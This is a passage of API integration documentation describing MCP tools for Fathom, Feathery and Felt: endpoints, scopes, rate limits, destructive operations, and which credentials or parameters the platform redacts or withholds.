ftp_user_password, password, private_api_key, secret, token). Every other field, including the public keys Faraday generates for Snowflake and ClickHouse, comes through intact. Read a redacted value in the Faraday dashboard. POST /api/v1/faraday/webhook_endpoints. Scopes: api. ================================================================================ ## Fathom URL: https://www.agenticfabriq.com/integrations/fathom Section: Integrated Tools Fathom — 10 MCP tools Provider key: fathom. Scopes: read_admin, read_directory, read_meetings, read_recordings, read_transcripts. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. fathom_get_recording_download (read) — Check a Fathom recording download started with fathom_request_recording_download. status is processing, completed, failed or expired; on failure, failure_reason says whether generation failed or timed out. As above, the signed file URL is withheld by Agentic Fabriq - size, content type and expiry are returned so you can tell the user whether and when the file is ready. A download expires about 24 hours after it is generated; request a new one after that. GET /api/v1/tools/fathom/recordings/{recording_id}/downloads/{download_id}. Scopes: read_recordings. fathom_get_summary (read) — Get one Fathom recording's AI summary as Markdown, with the name of the template that produced it. Fathom returns the account's DEFAULT template and publishes no way to ask for another; changing a call's template in the Fathom UI does not change what this returns, and there is one summary per recording. Heavy rate-limit bucket: 30 per minute, 5 under load. Numeric recording_id from fathom_list_meetings. This is NOT the id in a Fathom call URL - Fathom documents those as different identifiers that are not interchangeable, so an id copied from a browser will 404. GET /api/v1/tools/fathom/recordings/{recording_id}/summary. Scopes: read_transcripts. fathom_get_transcript (read) — Get one Fathom recording's full transcript: for every line, the speaker's display name, the matched calendar-invitee email address where Fathom could match one, the spoken text, and an HH:MM:SS timestamp relative to the start of the meeting. Use it for exact quotes and for questions the summary does not answer. This is verbatim private conversation - handle it accordingly. Transcripts exist only after post-call processing finishes; Fathom offers no live or real-time transcript. Heavy rate-limit bucket: 30 per minute, 5 under load. Numeric recording_id from fathom_list_meetings. This is NOT the id in a Fathom call URL - Fathom documents those as different identifiers that are not interchangeable, so an id copied from a browser will 404. GET /api/v1/tools/fathom/recordings/{recording_id}/transcript. Scopes: read_transcripts. fathom_list_meeting_content (read) — List Fathom meetings WITH their AI summaries and/or full transcripts inline - one call instead of a listing plus one read per meeting. Requires include_summary, include_transcript, or both. Use it for questions spanning several meetings ('what did customers say about pricing in January'); use fathom_get_transcript for one known recording. NOT AVAILABLE on Fathom connections made through OAuth - Fathom forbids it, and this tool will say so and name the alternative. This is Fathom's heavy rate-limit bucket: 30 requests per minute, which Fathom reduces to 5 per minute under load, so ask for a narrow date range rather than paging an entire history. A Fathom credential is scoped to one user: it reaches meetings that user recorded plus meetings shared with them or their team, never another user's private unshared meetings, and Fathom sells no organisation-wide key. An empty result is normal and is not an error. GET /api/v1/tools/fathom/meetings/content. Scopes: read_transcripts. fathom_list_meeting_types (read) — List the organisation's Fathom meeting types - both active and inactive - so a meeting_type filter can be spelled correctly. Call this before filtering fathom_list_meetings by meeting_type: Fathom returns an empty list for an unrecognised type name instead of an error, so a guessed name looks like 'there were no such meetings'. GET /api/v1/tools/fathom/meeting-types. Scopes: read_meetings. fathom_list_meetings (read) — List Fathom meetings with their title, calendar title, type, recording_id, timestamps, invitees, who recorded them, and links to open them in Fathom. This is the entry point for every other Fathom tool: recording_id comes from here and nowhere else. Returns METADATA ONLY - it never returns what was said. For summaries or transcripts use fathom_list_meeting_content, fathom_get_summary or fathom_get_transcript, which sit behind a separate permission. A Fathom credential is scoped to one user: it reaches meetings that user recorded plus meetings shared with them or their team, never another user's private unshared meetings, and Fathom sells no organisation-wide key. An empty result is normal and is not an error. Each item's share_url opens the recording under a per-recording sharing setting the account holder chose, which may be 'anyone with the link'; Fathom exposes no field saying which, so treat a share_url as potentially world-readable before sending it outside the company. GET /api/v1/tools/fathom/meetings. Scopes: read_meetings. fathom_list_team_members (read) — List Fathom team members - name, email address and join date - optionally narrowed to one team. The email addresses are what the `recorded_by` filter on fathom_list_meetings takes, so this is how you answer 'show me Dana's customer calls' without guessing an address. GET /api/v1/tools/fathom/team-members. Scopes: read_directory. fathom_list_teams (read) — List the teams in the connected Fathom account with their names and creation dates. The names are what the `teams` filter on fathom_list_meetings takes, so call this before filtering by team rather than guessing a name. GET /api/v1/tools/fathom/teams. Scopes: read_directory. fathom_list_users (read) — List every user in the Fathom account with their status (active, deactivated or invited) and their permissions: settings_access (none, team_admin, account_admin) and view_access, which is which teams' calls they can see. ADMIN ONLY - Fathom answers 403 unless the connected user's settings_access is account_admin, and that is a role requirement rather than a plan one. This is the tool that explains the commonest Fathom puzzle, 'why can't I see my colleague's calls': a user's API access sees exactly what that user sees in Fathom, so view_access here is the answer. Invited users have no permissions object yet and their created_at is the invite date. status='invited' cannot be combined with settings_access. GET /api/v1/tools/fathom/users. Scopes: read_admin. fathom_request_recording_download (read) — Ask Fathom to generate a downloadable video or audio file for a recording, and report the result. Returns a download_id to poll with fathom_get_recording_download; an audio-only recording can come back completed immediately. Downloading needs more than view access - a limited-access share is refused with 403. AGENTIC FABRIQ WITHHOLDS THE GENERATED FILE'S URL: Fathom returns a signed link that hands the whole recording to anyone holding it with no sign-in and no audit record. What you get is whether the file can be made, its size, its content type and when it expires. To watch or download the recording, open the meeting's share_url or url from fathom_list_meetings. Numeric recording_id from fathom_list_meetings. This is NOT the id in a Fathom call URL - Fathom documents those as different identifiers that are not interchangeable, so an id copied from a browser will 404. POST /api/v1/tools/fathom/recordings/{recording_id}/download. Scopes: read_recordings. ================================================================================ ## Feathery URL: https://www.agenticfabriq.com/integrations/feathery Section: Integrated Tools Feathery — 53 MCP tools Provider key: feathery. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. feathery_delete_api_document_envelope_by_envelope_id (write, destructive) — Delete a document envelope via DELETE /api/document/envelope/{envelope_id}/. Permanently delete one document envelope, named entirely by its id in the path. Feathery documents no recycle bin and no restore endpoint for envelopes, so treat this as irreversible. DELETE /api/v1/feathery/document/envelope/{envelope_id}/. Scopes: api. feathery_delete_api_field_hidden_delete (write, destructive) — Delete hidden fields via DELETE /api/field/hidden/delete/. Permanently delete hidden fields named by a `field_ids` array in the request body, and return the ids that were deleted. Deleting a hidden field discards the values users have submitted into it; Feathery documents no restore endpoint, so treat this as irreversible. DELETE /api/v1/feathery/field/hidden/delete/. Scopes: api. feathery_delete_api_form_by_form_id (write, destructive) — Delete a form via DELETE /api/form/{form_id}/. Permanently delete one form, named by id in the path. The body must carry `confirm_delete: true` -- Feathery requires the confirmation and refuses without it. Deleting a form takes its submissions' context with it and Feathery documents no restore endpoint, so treat this as irreversible. DELETE /api/v1/feathery/form/{form_id}/. Scopes: api. feathery_delete_api_form_link_by_link_id (write, destructive) — Revoke a form access link via DELETE /api/form/link/{link_id}/. Revoke one access link, named by id in the path. It stops opening its form immediately, and the response returns the link in its final state rather than an empty body. Revoking an already-revoked link changes nothing. Revoking does NOT reopen the submission through its plain ?_id= URL -- a submission that has been given an access link stays closed until a new link is created for it. DELETE /api/v1/feathery/form/link/{link_id}/. Scopes: api. feathery_delete_api_user_by_id (write, destructive) — Delete an end user via DELETE /api/user/{id}/. Permanently delete one Feathery end user, named by id in the path. A user IS their submissions across every form, so this discards all of that person's submitted data. Feathery documents no restore endpoint; treat this as irreversible. DELETE /api/v1/feathery/user/{id}/. Scopes: api. feathery_delete_api_workspace_by_workspace_id (write, destructive) — Delete a workspace via DELETE /api/workspace/{workspace_id}/. Permanently delete one Feathery workspace connected to this main account, named by id in the path. This takes the workspace's forms and submissions with it and Feathery documents no restore endpoint; treat this as irreversible. White-label only. DELETE /api/v1/feathery/workspace/{workspace_id}/. Scopes: api. feathery_get_api_account (read) — Retrieve account information via GET /api/account/. Retrieve this Feathery team's account information: the team name and the list of accounts that belong to it. Changes nothing in the workspace. GET /api/v1/feathery/account/. Scopes: api. feathery_get_api_ai_extraction (read) — List AI document extractions via GET /api/ai/extraction/. List this organization's AI document extractions, each with its id, name, `file_type` (image, csv, meeting or ai_query) and `extraction_type`. The response is paginated. Requires the Document Intelligence feature to be enabled on the account; without it this answers an error rather than an empty list, which is a plan state and not a bad key. Changes nothing in the workspace. GET /api/v1/feathery/ai/extraction/. Scopes: api. feathery_get_api_ai_extraction_by_extraction_id (read) — Retrieve an AI extraction via GET /api/ai/extraction/{extraction_id}/. Retrieve the full configuration of one AI document extraction: its queries (each with `question_type`, entities, criteria, validation rules and the fields extracted values are saved to), its variants, its post-extraction logic rules, its file sources and its active integrations. Requires the Document Intelligence feature. Changes nothing in the workspace. GET /api/v1/feathery/ai/extraction/{extraction_id}/. Scopes: api. feathery_get_api_ai_run_batch_by_extraction_id (read) — List AI extraction runs via GET /api/ai/run/batch/{extraction_id}/. List the runs of one AI document extraction, optionally narrowed by `start_time`, `end_time` or `user_id`. Each run reports the document processed, whether it succeeded, the datapoints extracted, the approval state and approver, and the inbound email or audio that triggered it. Changes nothing in the workspace. GET /api/v1/feathery/ai/run/batch/{extraction_id}/. Scopes: api. feathery_get_api_computer_agent_by_agent_id_run (read) — List computer agent runs via GET /api/computer-agent/{agent_id}/run/. List one computer agent's runs, newest first. The response is paginated (`count`, `next`, `previous`, `total_pages`, `current_page`, `results`) and each entry carries the same fields as a single run retrieval. Changes nothing in the workspace. GET /api/v1/feathery/computer-agent/{agent_id}/run/. Scopes: api. feathery_get_api_computer_agent_by_agent_id_run_by_run_id (read) — Retrieve a computer agent run via GET /api/computer-agent/{agent_id}/run/{run_id}/. Retrieve one computer agent run's status and result, plus the data stored on its submission. `status` is one of pending, running, awaiting_approval, succeeded, failed or cancelled -- awaiting_approval means the run is paused for a human reviewer inside Feathery, so it is not a failure. Poll this until the status is terminal. Changes nothing in the workspace. GET /api/v1/feathery/computer-agent/{agent_id}/run/{run_id}/. Scopes: api. feathery_get_api_document_envelope (read) — List document envelopes via GET /api/document/envelope/. List document envelopes -- the filled-out documents this account's users have produced -- looked up either by document template or by submission: `type` is 'document' or 'user' and `id` is the corresponding id. Each envelope reports its file URL, its signer and sender, and whether the signer has viewed and signed it. Changes nothing in the workspace. GET /api/v1/feathery/document/envelope/. Scopes: api. feathery_get_api_document_template (read) — List document templates via GET /api/document/template/. List the document templates this team has uploaded, optionally narrowed by `name` (substring match) or `tags`. The tag filter has its own grammar: `;;` matches any tag in a set (OR) and repeating the parameter requires several sets (AND). Uploading a template is not available through this integration -- it is a multipart file upload. Changes nothing in the workspace. GET /api/v1/feathery/document/template/. Scopes: api. feathery_get_api_field (read) — List all data for a user via GET /api/field/. For one user (`id`, their Feathery user id), list every field they have submitted data for -- form fields and hidden fields alike -- with the value, the display text, and when the value was first submitted and last updated. For repeated and file fields the two timestamps are arrays aligned with the value array. Called without `id` it lists the account's fields with no user values attached. Changes nothing in the workspace. GET /api/v1/feathery/field/. Scopes: api. feathery_get_api_field_hidden (read) — List hidden fields via GET /api/field/hidden/. List every hidden field in this Feathery account, each with its id, internal id, type, server-side flag, tags and timestamps. Changes nothing in the workspace. GET /api/v1/feathery/field/hidden/. Scopes: api. feathery_get_api_form (read) — List forms via GET /api/form/. List this account's Feathery forms, optionally narrowed by `tags` (a comma-separated list, all of which must be present) or by `active`. Each form reports its id, name, active flag and tags. `internal_id` is returned only for white-label workspaces. Changes nothing in the workspace. GET /api/v1/feathery/form/. Scopes: api. feathery_get_api_form_by_form_id (read) — Retrieve a form schema via GET /api/form/{form_id}/. Retrieve the full schema of one form: its steps and every element on them (images, videos, progress bars, texts, buttons and fields, each with its hide rules), its navigation conditions, its logic rules, its shared code snippets, its active integrations and its translation map. This is the read that tells an agent which field ids a submission may set. Changes nothing in the workspace. GET /api/v1/feathery/form/{form_id}/. Scopes: api. feathery_get_api_form_default (read) — Retrieve form defaults via GET /api/form/default/. Fetch the form settings this team applies to newly created forms -- the workspace's own defaults merged over anything inherited from a parent workspace. Changes nothing in the workspace. GET /api/v1/feathery/form/default/. Scopes: api. feathery_get_api_form_link (read) — List form access links via GET /api/form/link/. List this environment's access links, newest first, optionally narrowed to one form or one submission -- the read that says whether a link you sent has been opened, has expired or has been revoked (`status` is active, redeemed, expired or revoked). Listed links never include `token` or `url`: only the response that created a link hands out its credential. Paginated. Changes nothing in the workspace. GET /api/v1/feathery/form/link/. Scopes: api. feathery_get_api_form_submission (read) — List form submissions via GET /api/form/submission/. List submission data for one form (`form_id` is required), with filters for user, update-time and creation-time windows, completion state, a `field_search` array of field id / value pairs, a `fuzzy_search` trigram search with per-parameter weights summing to 1, a `fields` allowlist and `no_field_values` for a faster metadata-only read. The response is paginated at 500 rows, raised with `page_size` up to 1000. `use_cache` trades freshness for latency and omits `value_created_at`/`value_updated_at`. `field_search` and `fuzzy_search` are STRINGIFIED JSON, not objects. Changes nothing in the workspace. GET /api/v1/feathery/form/submission/. Scopes: api. feathery_get_api_logs_api_connector_by_form_id (read) — List API connector errors via GET /api/logs/api-connector/{form_id}/. List recent error responses from API connector requests triggered by one form, each with the endpoint URL, the status code, and the request and response bodies (truncated at 400 characters). Feathery keeps AT MOST THE LAST WEEK of this data, so an empty result for an older window is a retention fact and not a failure. Changes nothing in the workspace. GET /api/v1/feathery/logs/api-connector/{form_id}/. Scopes: api. feathery_get_api_logs_email_extraction_by_extraction_id (read) — List forwarded AI extraction emails via GET /api/logs/email/extraction/{extraction_id}/. List emails that triggered one AI extraction and were then forwarded, each with the original sender, the forward recipients and the email group they are defined under, the subject prefix, and the user the extraction was attributed to. Optionally narrowed by time window or `user_id`. Changes nothing in the workspace. GET /api/v1/feathery/logs/email/extraction/{extraction_id}/. Scopes: api. feathery_get_api_logs_email_form_by_form_id (read) — List emails sent from a form via GET /api/logs/email/form/{form_id}/. List recent emails sent by Feathery's email integration on one form, each with the template it was based on, its recipients, its subject and when it was sent. At most the last week of data. Changes nothing in the workspace. GET /api/v1/feathery/logs/email/form/{form_id}/. Scopes: api. feathery_get_api_logs_email_issues (read) — List email bounces and complaints via GET /api/logs/email/issues/. List the Bounce and Complaint events raised while sending email through Feathery, optionally narrowed to one `event_type` or a time window. Each entry names the recipients the message went to and the ones that were rejected. Changes nothing in the workspace. GET /api/v1/feathery/logs/email/issues/. Scopes: api. feathery_get_api_logs_quik_by_form_id (read) — List Quik integration requests via GET /api/logs/quik/{form_id}/. List recent Quik integration requests and responses triggered by one form, each with the Quik URL, the status code, and the request and response bodies. At most the last week of data. Changes nothing in the workspace. GET /api/v1/feathery/logs/quik/{form_id}/. Scopes: api. feathery_get_api_logs_webhook_by_form_id (read) — List webhook errors via GET /api/logs/webhook/{form_id}/. List recent webhook delivery failures for one form, including HTTP 4xx/5xx responses and connection or timeout failures -- a `status_code` of 0 means no HTTP response was received at all. Request and response bodies are truncated at 1200 characters. At most the last week of data. Changes nothing in the workspace. GET /api/v1/feathery/logs/webhook/{form_id}/. Scopes: api. feathery_get_api_user (read) — List end users via GET /api/user/. List this account's Feathery end users -- a user IS their submissions across every form -- optionally narrowed by creation-time window or by a single field value (`filter_field_id` paired with `filter_field_value`). Each user reports its id, timestamps and collaborator activity. Changes nothing in the workspace. GET /api/v1/feathery/user/. Scopes: api. feathery_get_api_user_by_user_id_event (read) — Get a user's form events via GET /api/user/{user_id}/event/. Get one user's form events, grouped by form and ordered oldest to newest: load, complete and skip events with the step they occurred on and the step navigated to. Feathery OVERWRITES an event of the same type on the same step rather than appending, so this is a current-state read rather than a full history. Changes nothing in the workspace. GET /api/v1/feathery/user/{user_id}/event/. Scopes: api. feathery_get_api_user_by_user_id_session (read) — Get a user's form session via GET /api/user/{user_id}/session/. Get one user's form session data: every form they are working on, the step each was last on, whether and when it was completed, and whether the form remembers their location. Changes nothing in the workspace. GET /api/v1/feathery/user/{user_id}/session/. Scopes: api. feathery_get_api_workspace (read) — List workspaces via GET /api/workspace/. List the Feathery workspaces connected to this main account, each with its branding, feature limits, disabled tabs and member accounts; set `submission_data` to also return each workspace's submission usage for the current billing cycle. WHITE LABEL ONLY: this is available only on Feathery's white-label product, so an account without it gets an error rather than an empty list -- a plan state, not a bad key. A test API key returns only test workspaces. Changes nothing in the workspace. GET /api/v1/feathery/workspace/. Scopes: api. feathery_get_api_workspace_by_workspace_id (read) — Retrieve a workspace via GET /api/workspace/{workspace_id}/. Retrieve one Feathery workspace by id, with its branding, feature limits, member accounts and -- with `submission_data` -- its submission usage for the current billing cycle. Feathery ALSO returns this workspace's live and test API keys and live and test SDK keys; Agentic Fabriq REDACTS all four, because each is a working credential for that workspace and a tool result reaches the model's context and the audit pipeline. Read them from the Feathery dashboard instead. White-label only. Changes nothing in the workspace. GET /api/v1/feathery/workspace/{workspace_id}/. Scopes: api. feathery_get_api_workspace_report_form (read) — Workspace form report via GET /api/workspace/report/form/. A paginated report of every child workspace with its forms (id, name, active flag and step count) and per-field-type usage statistics, plus `field_types`, the full list of standard field type values. `page_size` defaults to 50 and caps at 100. White-label only; a test API key returns only test workspaces. Changes nothing in the workspace. GET /api/v1/feathery/workspace/report/form/. Scopes: api. feathery_get_api_workspace_report_submissions (read) — Workspace submission report via GET /api/workspace/report/submissions/. A paginated report of each workspace's completed submissions within a billing cycle, with `cycle_start` and `cycle_end`, counting live submissions only. `billing_cycle_offset` walks back through earlier cycles (at most 11 for monthly billing, 1 for yearly). `hidden_field_id` may be repeated to break the counts down by hidden field, up to 10 distinct values. `page_size` defaults to 50 and caps at 100. White-label only. Changes nothing in the workspace. GET /api/v1/feathery/workspace/report/submissions/. Scopes: api. feathery_patch_api_account (write) — Edit a team account via PATCH /api/account/. Edit one existing member of this Feathery team: their role ('admin', 'editor' or 'viewer') and the five per-account permission flags (edit form results, invite collaborators, edit collaborator settings, edit logic rules, edit themes). Names the member by `email` or by `account_id`; one of the two must be given. Feathery roles govern what a teammate can do in the Feathery dashboard, not what an API key can reach -- every key sees the same fields and forms. Sends no mail. PATCH /api/v1/feathery/account/. Scopes: api. feathery_patch_api_account_uninvite (write, destructive) — Remove a team account via PATCH /api/account/uninvite/. Remove a user from this Feathery team, named by `email` or `account_id`; one of the two must be given. Returns the team's remaining accounts. Irreversible from here -- re-adding the person needs an invitation, which this integration does not offer. Sends no mail. PATCH /api/v1/feathery/account/uninvite/. Scopes: api. feathery_patch_api_field_hidden_detail (write) — Edit hidden fields via PATCH /api/field/hidden/detail/. Edit one or more hidden fields, as a JSON ARRAY of objects each naming the field's `id` and the properties to change (`type`, `server_side`, `tags`). At most 100 fields per request. Setting `tags` REPLACES the field's existing tags rather than merging into them. PATCH /api/v1/feathery/field/hidden/detail/. Scopes: api. feathery_patch_api_form_by_form_id (write) — Update a form via PATCH /api/form/{form_id}/. Update one form's properties: `enabled` (its live status), `form_name`, `translations` (a map of default text to translations -- setting it REPLACES any existing translations) and `fields`, which sets per-field tags on the named form fields only. Three of Feathery's parameters are NOT offered here: `integrations` would register a caller-chosen webhook URL and headers that receive submission data on every future submission, and `logic_rules` and `shared_codes` carry caller-supplied `code` objects Feathery executes -- each also with replace-all semantics that silently delete anything not resent. PATCH /api/v1/feathery/form/{form_id}/. Scopes: api. feathery_patch_api_form_default (write) — Set form defaults via PATCH /api/form/default/. Set the form settings this team applies to NEWLY created forms: redirect URL, error display, autocomplete, autofocus, Enter-to-submit, scroll behaviour, branding position, completion behaviour, user and location tracking, data saving, authentication mode, edit-after-completion, hidden-field handling, URL-parameter saving and hash tracking. Every parameter is optional and only what is sent is changed. THESE APPLY ONLY GOING FORWARD: existing forms are never modified and a form's settings are never re-synced, and a straight duplicate of an existing form keeps its source's settings rather than taking these. PATCH /api/v1/feathery/form/default/. Scopes: api. feathery_patch_api_workspace_by_workspace_id (write) — Update a workspace via PATCH /api/workspace/{workspace_id}/. Update one Feathery workspace's name, branding, feature limits, hidden tabs and settings, enabled integrations and metadata. White-label only. Sending a list-valued field replaces that list rather than adding to it. PATCH /api/v1/feathery/workspace/{workspace_id}/. Scopes: api. feathery_post_api_computer_agent_by_agent_id_run (write) — Trigger a computer agent run via POST /api/computer-agent/{agent_id}/run/. Start a run of a Feathery computer agent, which drives a real browser session to carry out the task configured on that agent in the Feathery dashboard. The `fields` mapping is stored on a Feathery submission and substituted into the agent's task wherever it uses {{field_id}} placeholders; `user_id` names the submission to store them on and creates it if it does not exist. The task itself is account-configured and is not a parameter of this call. The run starts ASYNCHRONOUSLY: this returns `run_id`, `run_url` and `user_id`, and the run's outcome is read back with the retrieve tool. POST /api/v1/feathery/computer-agent/{agent_id}/run/. Scopes: api. feathery_post_api_data_hub_by_hub_id_action (write, destructive) — Perform a data hub entry action via POST /api/data-hub/{hub_id}/action/. Create, retrieve, update or DELETE entries in one Feathery data hub. The `operation` field selects which -- 'create', 'get', 'update' or 'delete' -- so ONE tool carries all four effects and the argument decides: 'delete' permanently removes the entry named by `entry_id` and answers 204. `data` is the entry's field mapping for create and update and the filter criteria for get; `entry_id` is required for update and delete; `fields` narrows which field keys a get returns. Classified destructive because one of its four operations is. POST /api/v1/feathery/data-hub/{hub_id}/action/. Scopes: api. feathery_post_api_document_fill (write) — Fill a document template via POST /api/document/fill/. Fill out a document template that has already been uploaded and mapped in this Feathery account, from a `field_values` mapping of field id to value, optionally associating the result with an existing Feathery user. Returns `file_url`, the URL of the filled document. Feathery's `signer_email` parameter is NOT offered here: it routes the document to an address for signature, and an agent-chosen recipient receives mail that cannot be unsent, so this tool fills the document and hands back the URL for the customer to route themselves. POST /api/v1/feathery/document/fill/. Scopes: api. feathery_post_api_field_hidden (write) — Create hidden fields via POST /api/field/hidden/. Create a hidden field in this Feathery account: a new unique `id`, a `type` of json_value, number_value or text_value, `server_side` for a field the browser never sees, and optional `tags` (at most 10KB). THE REFERENCE CONTRADICTS ITSELF ABOUT THE BODY SHAPE: its prose says "by passing an array of field objects. Bulk creation is limited to 100 fields per request", while every one of its three code samples and its example response send and return a SINGLE object. This tool ships the object shape its examples show; the array form could not be discriminated without a real key, because Feathery authenticates before it validates a body. If this answers 400 on a well-formed object, the array form is the one to try. POST /api/v1/feathery/field/hidden/. Scopes: api. feathery_post_api_form (write) — Create a form from a template via POST /api/form/. Create a new form by copying an existing template form, naming the new form (`form_name`, which must be unique), the `template_form_id` to copy, the `steps` to create and the `navigation_rules` connecting them. Integrations on the template are copied over as well. Element arrays inside each step edit the copied elements; anything not named is copied as-is. Feathery's `logic_rules` parameter is NOT offered here: a logic rule carries a `code` object Feathery executes for every future end user, and this integration does not accept caller-supplied code. POST /api/v1/feathery/form/. Scopes: api. feathery_post_api_form_copy (write) — Copy a form via POST /api/form/copy/. Duplicate an existing form in this account under a new name, from `copy_form_id` and `form_name`. Returns the new form's id, name, active flag and tags. A straight duplicate keeps its source form's settings; it does not pick up the team's form defaults. POST /api/v1/feathery/form/copy/. Scopes: api. feathery_post_api_form_hidden_field (write) — Create hidden fields (deprecated route) via POST /api/form/hidden_field/. Create hidden fields through Feathery's DEPRECATED /api/form/hidden_field/ route. The reference says plainly: "Use /api/field/hidden/ instead. This endpoint accepts and returns an array of objects and does not include internal_id, created_at, or updated_at in the response." Prefer the create hidden fields tool on /api/field/hidden/; this one exists so an existing integration that depends on the array shape is not silently dropped. POST /api/v1/feathery/form/hidden_field/. Scopes: api. feathery_post_api_form_link (write) — Create a form access link via POST /api/form/link/. Create an access link that opens ONE submission of ONE form, optionally expiring (`expires_in` seconds or an `expires_at` timestamp, at most ten years, and not both), optionally single-use (bound to the first device that opens it), and optionally prefilled from a `fields` mapping. `form` takes the form's id, slug or name. Creating a link also creates the submission it opens, and from then on that submission can ONLY be opened through an access link -- not through its plain ?_id= URL. THE RESPONSE CARRIES A CREDENTIAL: `token`, and the `url` that contains it, are returned only here and never again by listing or revoking, so they reach this caller's context and the audit log. They are deliberately not redacted, because the link is the whole point of the call; treat the result as a secret, and revoke the link if it goes somewhere it should not. POST /api/v1/feathery/form/link/. Scopes: api. feathery_post_api_form_submission (write) — Create or update form submissions via POST /api/form/submission/. Set field values for a user and initialise their submissions. `fields` maps field identifier (id or internal id) to value -- a signature field takes {"file": , "name": }. `user_id` names a new or existing user and is generated and returned when omitted; `forms` lists form ids to initialise submissions for; `complete` sets the completion state, and omitting it on an existing submission leaves that state unchanged. `documents` generates the named documents and returns values read back from the `output_location` cells of spreadsheet documents. This WRITES a user's submitted data. POST /api/v1/feathery/form/submission/. Scopes: api. feathery_post_api_form_submission_pdf (write) — Export form submission PDFs via POST /api/form/submission/pdf/. Create a PDF export of one submission (`user_id`) or of many at once (a `start_time`/`end_time` or `created_after`/`created_before` window, optionally narrowed by `completed`); `form_id` is required and the two modes are mutually exclusive. Returns `pdf_url`, or `results` plus `submission_count` for a bulk export. THE FILE IS NOT IMMEDIATELY AVAILABLE: poll the URL, which the reference suggests doing up to five times, once per second. A `pdf_url` of null means the submission has no data to render. Once a submission is complete its PDF is frozen and re-requesting does not update it. Feathery's `webhook` parameter -- a caller-chosen callback URL -- is NOT offered here; polling is the documented alternative. POST /api/v1/feathery/form/submission/pdf/. Scopes: api. feathery_post_api_user (write) — Create or fetch an end user via POST /api/user/. Create, update or retrieve one Feathery end user by `id`: if no user with that id exists it is created, otherwise the existing one is returned. Feathery also returns that user's `sdk_key`, which authenticates the React library for displaying forms as this user -- Agentic Fabriq REDACTS it, because a bearer credential in a tool result reaches the model's context and the audit pipeline. The user's id and timestamps are returned as normal. POST /api/v1/feathery/user/. Scopes: api. feathery_post_api_workspace (write) — Create a workspace via POST /api/workspace/. Create a new Feathery workspace under this main account, with its name, branding (logo, brand URL, favicon, name, primary and secondary colours), `features` limits, the dashboard and form-editor tabs to hide, the form settings to hide, the form elements to hide, the integrations to enable and arbitrary `metadata`. White-label only. A test API key creates a TEST workspace rather than a live one. POST /api/v1/feathery/workspace/. Scopes: api. feathery_post_api_workspace_by_workspace_id_create_template_form (write) — Populate a workspace from a template via POST /api/workspace/{workspace_id}/create-template-form/. Create a form inside one workspace from one of the main account's forms or custom templates, naming the new form (`form_name`) and the `template_id` to populate from. Returns the new form's id, name and internal id. White-label only. POST /api/v1/feathery/workspace/{workspace_id}/create-template-form/. Scopes: api. ================================================================================ ## Felt URL: https://www.agenticfabriq.com/integrations/felt Section: Integrated Tools Felt — 57 MCP tools Provider key: felt. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. felt_delete_maps_by_map_id (write, destructive) — Delete map via DELETE /maps/{map_id}. Felt answers 204 with no body, so a successful call returns an empty object. DESTRUCTIVE and not reversible through this API: the contract publishes no undelete. DELETE /api/v1/felt/maps/{map_id}. Scopes: api. felt_delete_maps_by_map_id_comments_by_comment_id (write, destructive) — Delete map comment via DELETE /maps/{map_id}/comments/{comment_id}. Felt answers 204 with no body, so a successful call returns an empty object. DESTRUCTIVE and not reversible through this API: the contract publishes no undelete. DELETE /api/v1/felt/maps/{map_id}/comments/{comment_id}. Scopes: api. felt_delete_maps_by_map_id_elements_by_element_id (write, destructive) — Delete map element via DELETE /maps/{map_id}/elements/{element_id}. Felt answers 204 with no body, so a successful call returns an empty object. DESTRUCTIVE and not reversible through this API: the contract publishes no undelete. DELETE /api/v1/felt/maps/{map_id}/elements/{element_id}. Scopes: api. felt_delete_maps_by_map_id_layer_groups_by_layer_group_id (write, destructive) — Delete map layer group via DELETE /maps/{map_id}/layer_groups/{layer_group_id}. Felt answers 204 with no body, so a successful call returns an empty object. DESTRUCTIVE and not reversible through this API: the contract publishes no undelete. DELETE /api/v1/felt/maps/{map_id}/layer_groups/{layer_group_id}. Scopes: api. felt_delete_maps_by_map_id_layers_by_layer_id (write, destructive) — Delete map layer via DELETE /maps/{map_id}/layers/{layer_id}. Felt answers 204 with no body, so a successful call returns an empty object. DESTRUCTIVE and not reversible through this API: the contract publishes no undelete. DELETE /api/v1/felt/maps/{map_id}/layers/{layer_id}. Scopes: api. felt_delete_maps_by_map_id_layers_by_layer_id_components_by_component_id (write, destructive) — Delete layer component via DELETE /maps/{map_id}/layers/{layer_id}/components/{component_id}. Felt answers 204 with no body, so a successful call returns an empty object. DESTRUCTIVE and not reversible through this API: the contract publishes no undelete. DELETE /api/v1/felt/maps/{map_id}/layers/{layer_id}/components/{component_id}. Scopes: api. felt_delete_projects_by_project_id (write, destructive) — Delete project via DELETE /projects/{project_id}. Felt answers 204 with no body, so a successful call returns an empty object. DESTRUCTIVE and not reversible through this API: the contract publishes no undelete. DELETE /api/v1/felt/projects/{project_id}. Scopes: api. felt_delete_sources_by_source_id (write, destructive) — Delete source via DELETE /sources/{source_id}. Felt answers 204 with no body, so a successful call returns an empty object. 